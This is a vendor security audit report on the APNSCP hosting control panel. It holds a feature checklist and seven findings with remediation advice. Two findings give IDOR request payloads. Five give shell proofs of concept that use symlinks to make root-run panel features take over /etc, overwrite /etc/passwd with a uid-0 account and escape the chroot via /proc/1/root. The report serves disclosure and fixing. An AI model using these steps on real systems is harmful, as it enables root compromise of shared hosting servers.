RACK911 Labs

APNSCP

Audit Report

July 17, 2019

Table of Contents

Overview

We have completed an initial evaluation of APNSCP and overall, we are happy with the state of security within the product. Most control panels that we audit make a lot of rookie mistakes in not sanitizing user input, but you did an effective job at preventing Arbitrary Command Execution vulnerabilities which we consider to be the most serious. (The use of CSRF tokens across every feature was also great to see and looking at the raw SQL queries, we also did not notice any potential SQL injections.)

Main areas of concern:

Everything within the panel runs as root and while each user is chrooted, as you will see in the proof of concepts below, it was possible for us to break out and access the main file system with root access. There needs to be a way for APNSCP to drop privileges to the user whenever possible as that would have eliminated so many security vulnerabilities!

When everything runs as root, all of the file operations under user accessible directories opens the door to a wide range of symlink related security vulnerabilities. Clearly, thinking a chroot was enough protection to get around that shortcoming was not enough.

Note:

There is a high probability that more security flaws are present. This audit was performed as a courtesy to the hosting community and as such, we only did a brief once over. If you are serious about this product, we would highly recommend a paid security audit to ensure the security of your users.

Auditing Process

When we start an audit, the very first step we do is make a detailed checklist of every feature to ensure that nothing is overlooked.

Once we have the checklist done, we begin an extremely systematic approach to determine what kind of security vulnerabilities might be possible. For example, if a feature performs any SQL queries then we would test for SQL injections. The same would be for any feature that writes to a user accessible directory, we would then test for race conditions and/or symlink style attacks.

As we work our way through the checklist, we indicate a security issue with a [Y] or we indicate that nothing of concern was found with an [X]. In some cases, there may be more than one security issue reported, but only one proof of concept provided for that feature. When that happens, it simply means that there are several attack vectors present but once the provided proof of concept is patched then then everything else will also be resolved.

After the checklist you will find the individual security vulnerabilities, all of which are rated accordingly along with the associated URL in question.

We do our best to provide straight forward proof of concepts but understand that sometimes, what is clear to us is not always clear to the individual reading this report. If more information is required, please do not hesitate to contact us and ask. We're more than happy to provide a more detailed proof of concept or even include a flash-based video showing what we did. Another option would be to log into a server under your control and perform the attack there.

Checklist (Users)

Account

Summary

[X] Input Validation (IDOR)

Storage Amnesty

[X] Input Validation (IDOR)

Settings

[X] Input Validation (IDOR)
[X] CSRF

Primary Domain

[X] Input Validation (IDOR)
[X] Improper Domains Accepted
[X] Arbitrary Command Execution
[X] CSRF

Username

[X] Input Validation (IDOR)
[X] Improper Usernames Accepted
[X] CSRF

Database Prefix

[X] Input Validation (IDOR)
[X] CSRF

Purge Cache

[X] Input Validation (IDOR)
[X] CSRF

Login History

[X] No testing performed.

Users

Create User

[X] Input Validation (IDOR)
[X] CSRF

Manage Users

[X] Input Validation (IDOR)
[X] CSRF

Login As

[X] Input Validation (IDOR)
[X] CSRF

Delete

[X] Input Validation (IDOR)
[X] CSRF

Set User Defaults

[X] Input Validation (IDOR)
[X] CSRF

Mail

Manage Mailboxes

Create Mailbox

[Y] Input Validation (IDOR) (AP-01)
[X] CSRF

Delete Mailbox

[X] Input Validation (IDOR)
[X] CSRF

Edit Mailbox

[Y] Input Validation (IDOR) (AP-02)
[X] CSRF

Webmail

[X] No testing performed.

Mail Routing

[X] Input Validation (IDOR)
[X] CSRF

Mailing Lists

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] CSRF

Edit Membership

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] CSRF

Delete

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] CSRF

SpamAssassin Config

[X] Input Validation (IDOR)
[X] CSRF

Vacation Responder

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[Y] Symlink Attack (AP-03)
[X] CSRF

Files

File Manager

New File / Folder / Link

[X] Input Validation (IDOR)
[X] Symlink Attack
[X] Arbitrary Command Execution
[X] CSRF

Download Remote

[X] Input Validation (IDOR)
[X] Symlink Attack
[X] Arbitrary Command Execution
[X] CSRF

Show Upload

[X] Input Validation (IDOR)
[Y] Symlink Attack (AP-04)
[X] Arbitrary Command Execution
[X] CSRF

Download Directory

[X] Input Validation (IDOR)
[X] Symlink Attack
[X] Arbitrary Command Execution
[X] CSRF

Delete Selected Files

[X] Input Validation (IDOR)
[X] Symlink Attack
[X] Arbitrary Command Execution
[X] CSRF

Storage Usage

[X] Input Validation (IDOR)

WebDisk

[Y] Symlink Attack (AP-05)

Databases

MySQL Manager

[X] Input Validation (IDOR)
[X] SQL Injection
[X] Arbitrary Command Execution
[X] CSRF

phpMyAdmin

[X] No testing performed.

MySQL Backups

[X] Input Validation (IDOR)
[X] SQL Injection
[X] Arbitrary Command Execution
[Y] Symlink Attack (AP-06)
[X] CSRF

DNS

DNS Manager

[X] Input Validation (IDOR)
[X] CSRF

Addon Domains

[X] Input Validation (IDOR)
[X] SQL Injection
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

SPF Setup

[X] Input Validation (IDOR)
[X] CSRF

Traceroute

[X] Arbitrary Command Execution

WHOIS

[X] Arbitrary Command Execution

Web

Web Apps

Install

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[?] Symlink Attack
[X] CSRF

Change Fortification

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

Audit

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] Directory Traversal
[X] CSRF

Virus Scan

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] Directory Traversal
[X] CSRF

Detect

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] Directory Traversal
[X] CSRF

Options

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

Recovery Mode

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

Change Admin Password

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

Download (Site Files + Database)

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

Uninstall

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] CSRF

Subdomains

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[Y] Symlink Attack (AP-07)
[X] CSRF

.htaccess Manager

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] Symlink Attack
[X] Directory Traversal
[X] CSRF

SSL Certificates

[X] Input Validation (IDOR)
[X] CSRF

Install Let's Encrypt Certificate

[X] Input Validation (IDOR)
[X] CSRF

Generate Request (CSR)

[X] Input Validation (IDOR)
[X] CSRF

Dev

Terminal

[X] No testing performed.

Code Frameworks

[X] No testing performed.

Version Control

[X] No testing performed.

Package Manager

[X] No testing performed.

API Keys

[X] Input Validation (IDOR)
[X] CSRF

Delete

[X] Input Validation (IDOR)
[X] CSRF

Task Scheduler

[X] Input Validation (IDOR)
[X] Arbitrary Command Execution
[X] CSRF

Reports

Bandwidth Breakdown

[X] Input Validation (IDOR)
[X] CSRF

Bandwidth Statistics

[X] Input Validation (IDOR)
[X] CSRF

Storage Tracker

[X] Input Validation (IDOR)
[X] CSRF

Server Info

[X] No testing performed.

Log Rotation

[X] Input Validation (IDOR)
[X] CSRF

AP-01: **Mail – Manage Mailboxes – Create Mailbox**

Type: Input Validation (IDOR)
Risk: Medium

URL:

/apps/mailboxroutes?mode=add

POST:

catchall=0&username=email&domain%5B%5D=domain.com&type=v&mailbox=9994&alias_remote=&add=Add+Address&bulk-entry=

Discussion:

The above POC will create email@domain.com assuming that domain.com belongs to another user. There must be checks in place to ensure that a user can only modify their own account.

AP-02: **Mail – Manage Mailboxes – Edit Mailbox**

Type: Input Validation (IDOR)
Risk: Medium

URL:

/ajax_engine?engine=cmd&fn=email_rename_mailbox

POST:

args[]=user2&args[]=domain.com&args[]=user1&args[]=domain.com&args[]=user2&args[]=v&s=M6svBMLKV8Osec2oGPAMfJXplr1PaxVq

Discussion:

The above POC will rename user2@domain.com to user1@domain.com despite the logged in user not having authorization to modify domain.com.

AP-03: **Mail – Vacation Responder**

Type: Symlink Attack
Risk: High

URL:

/apps/vacation

POST:

contenttype=text&vacation=1&message=I+am+currently+away+from+the+office.++Your+message+will+be+read+once+I+return.%0D%0A%0D%0AThank+you.&save=Save+Changes&charset=UTF-8&text=1

Proof of Concept (SSH)

[user@apnscp ~]$ rm -f .vacation.msg ; ln -s /etc .vacation.msg

* Enable the Vacation Responder and this is the end result:

[user@apnscp ~]$ chmod 755 /etc ; ls -la / | grep etc

drwxr-xr-x 1 user root 4096 Jul 12 10:36 etc

[user@apnscp ~]$ mv /etc/passwd /etc/passwd.bak

[user@apnscp ~]$ echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd

* Log out and log back in to gain root access. If you go to /proc/1/root you can then access the host filesystem outside of the chroot.

Discussion:

Even though each user is chrooted, there should never be root file operations (especially writes) under user accessible directories. As a result, we were able to take over the /etc directory and give ourselves root access. Once we had root within the chroot, we were able to traverse to the /proc/1/root directory to gain access outside of the chroot.

The simplest way to fix this is to stop doing root file operations where an unprivileged user has read / write access! Drop to the user every time. The risk of Symlink attacks and race conditions will always be far too dangerous.

AP-04: **Files – File Manager – Show Upload**

Type: Symlink Attack
Risk: High

URL:

/apps/filemanager?Upload

Proof of Concept (SSH)

[user@apnscp ~]$ id

uid=9995(user) gid=1004(user) groups=1004(user),10(wheel)

[user@apnscp ~]$ mkdir test

* Open the ‘test’ directory via File Manager.

[user@apnscp ~]$ rm -rf test ; ln -s /etc

* Upload an empty file called passwd and enable the overwrite destination file on conflict option.

[user@apnscp ~]$ echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd

* Log out and log back in to gain root access. If you go to /proc/1/root you can then access the host filesystem outside of the chroot.

Discussion:

Leveraging a basic symlink attack combined with a root file write, we were able to overwrite the /etc/passwd file to gain root access. Once we had root within the chroot, we were able to traverse to the /proc/1/root directory to gain access outside of the chroot.

The simplest way to fix this is to stop doing root file operations where an unprivileged user has read / write access! Drop to the user every time. The risk of Symlink attacks and race conditions will always be far too dangerous.

AP-05: **Files – WebDisk**

Type: Symlink Attack
Risk: High

URL:

/apps/filemanager?Upload

Proof of Concept (SSH)

[user@apnscp ~]$ ln -s /etc etc

* Log into WebDisk and go to the etc directory. You can now upload files and create directories without any issue. This obviously has wide security implications.

Discussion:

Ignoring the fact that there should never be any root file operations taking place within user accessible directories, the WebDisk daemon should be running as the user. There is absolutely no reason that WebDisk users should have their privileges escalated to root, it doesn't make any sense outside of lazy (dangerous) programming.

AP-06: **Databases – MySQL Backups**

Type: Symlink Attack
Risk: High

Script:

/usr/local/apnscp/bin/scripts/backup_dbs.php

Proof of Concept (SSH)

[user@apnscp ~]$ mkdir mysql_backups

[user@apnscp ~]$ ln -s /etc/passwd mysql_backups/db_name-20190716.sql.zip

* If the backup_dbs.php script is run for the current date, the following will happen:

[user@apnscp ~]$ ls -la /etc/passwd

-rw------- 1 user user 654 Jul 16 12:51 /etc/passwd

[user@apnscp ~]$ chmod 644 /etc/passwd

[user@apnscp ~]$ echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd

* Log out and log back in to gain root access. If you go to /proc/1/root you can then access the host filesystem outside of the chroot.

Discussion:

Leveraging a basic symlink attack combined with a root file write, we were able to overwrite the /etc/passwd file to gain root access. Once we had root within the chroot, we were able to traverse to the /proc/1/root directory to gain access outside of the chroot.

The simplest way to fix this is to stop doing root file operations where an unprivileged user has read / write access! Drop to the user every time. The risk of Symlink attacks and race conditions will always be far too dangerous.

AP-07: **Web – Subdomains**

Type: Symlink Attack
Risk: High

URL:

/apps/subdomains.php

POST:

subdomain=sub&domains[]=domain.com&subdomain_path=/var/www/sub.domain.com&Add_Subdomain=Add Subdomain&user=user&app-preload&

Proof of Concept (SSH)

[user@apnscp ~]$ ln -s /etc /var/www/sub.domain.com

* Add a new subdomain called sub.domain.com and /etc will now be owned by the user.

[user@apnscp ~]$ mv /etc/passwd /etc/passwd.bak

[user@apnscp ~]$ echo 'user:x:0:0::/home/user:/bin/bash' > /etc/passwd

* Log out and log back in to gain root access. If you go to /proc/1/root you can then access the host filesystem outside of the chroot.

Discussion:

Even though each user is chrooted, there should never be root file operations (especially writes) under user accessible directories. As a result, we were able to take over the /etc directory and give ourselves root access. Once we had root within the chroot, we were able to traverse to the /proc/1/root directory to gain access outside of the chroot.

The simplest way to fix this is to stop doing root file operations where an unprivileged user has read / write access! Drop to the user every time. The risk of Symlink attacks and race conditions will always be far too dangerous.

Further Recommendations

1. The directory browser runs as root and as such, it allows the user to create directories anywhere under their chrooted environment. There may be (unrealized) exploits that could leverage that behaviour to break out of the chroot. We would strongly recommend that you run the directory browser as the user logged in.

2. The “Web Apps” function wasn’t working on our install but we suspect that it would be vulnerable to one of the many symlink related security flaws outlined in this Audit Report. Make sure that all file writes for that feature are done as the user and not root, otherwise the risk of a chroot breakout is great.

3. Any domain added should be checked against a list of commonly used domains. Most control panels have a list like that to prevent domains such as gmail.com or yahoo.com from being added to the mail server, potentially letting mail be intercepted depending on how local delivery is configured.

4. Cookies should be bound to IP addresses when possible. We were able to use a session cookie on one computer and open it on another with a different IP, immediately logging into the original user.

Next Steps

Please take your time looking over all of the information that we have presented to you in this audit report and let us know if you have any questions and/or general concerns. If there are any features or options missing from the auditing checklist, please let us know immediately so that they can be checked. We try to test all features but accept that with such complex software; sometimes the odd feature or option can be overlooked the first time around.

Once you have addressed the security vulnerabilities, please let us know and provide an updated version so that we can confirm that they have been resolved. We’ll go over all of the security vulnerabilities again, modify them slightly, and see if your changes are adequate. (We will also use the retest as an opportunity to find anything else that may have been missed during the initial audit. It’s not uncommon for us to find something new during the audit retest.)

In the event that you are ever made aware of a security threat to your software, whether real or rumoured, we ask that you please contact us immediately with as much information as possible! The security of your software is our top priority and we will help you get to the bottom of any threat.

Ongoing Audits

RACK911 Labs offers ongoing audits for changes and new features that are made to your software. We call it our “Certified by RACK911 Labs” program and enrollment is completely optional.

We will monitor any public change logs and/or RSS feeds for updates. Should an update be pushed out, we will make an assessment as to whether or not it warrants a security audit. If testing is required, then we will audit the changes within 24 hours and report anything of concern if necessary. (Another option would be to privately send us the updates before being released to the public.)

Ongoing auditing is available on a no-contract monthly basis at a cost of 10% of the initial audit fee. Just like our audit, any future security vulnerabilities found can be handled as you see fit and public disclosure is strictly up to you. If you have any questions about this service, please let us know and we will be happy to discuss further.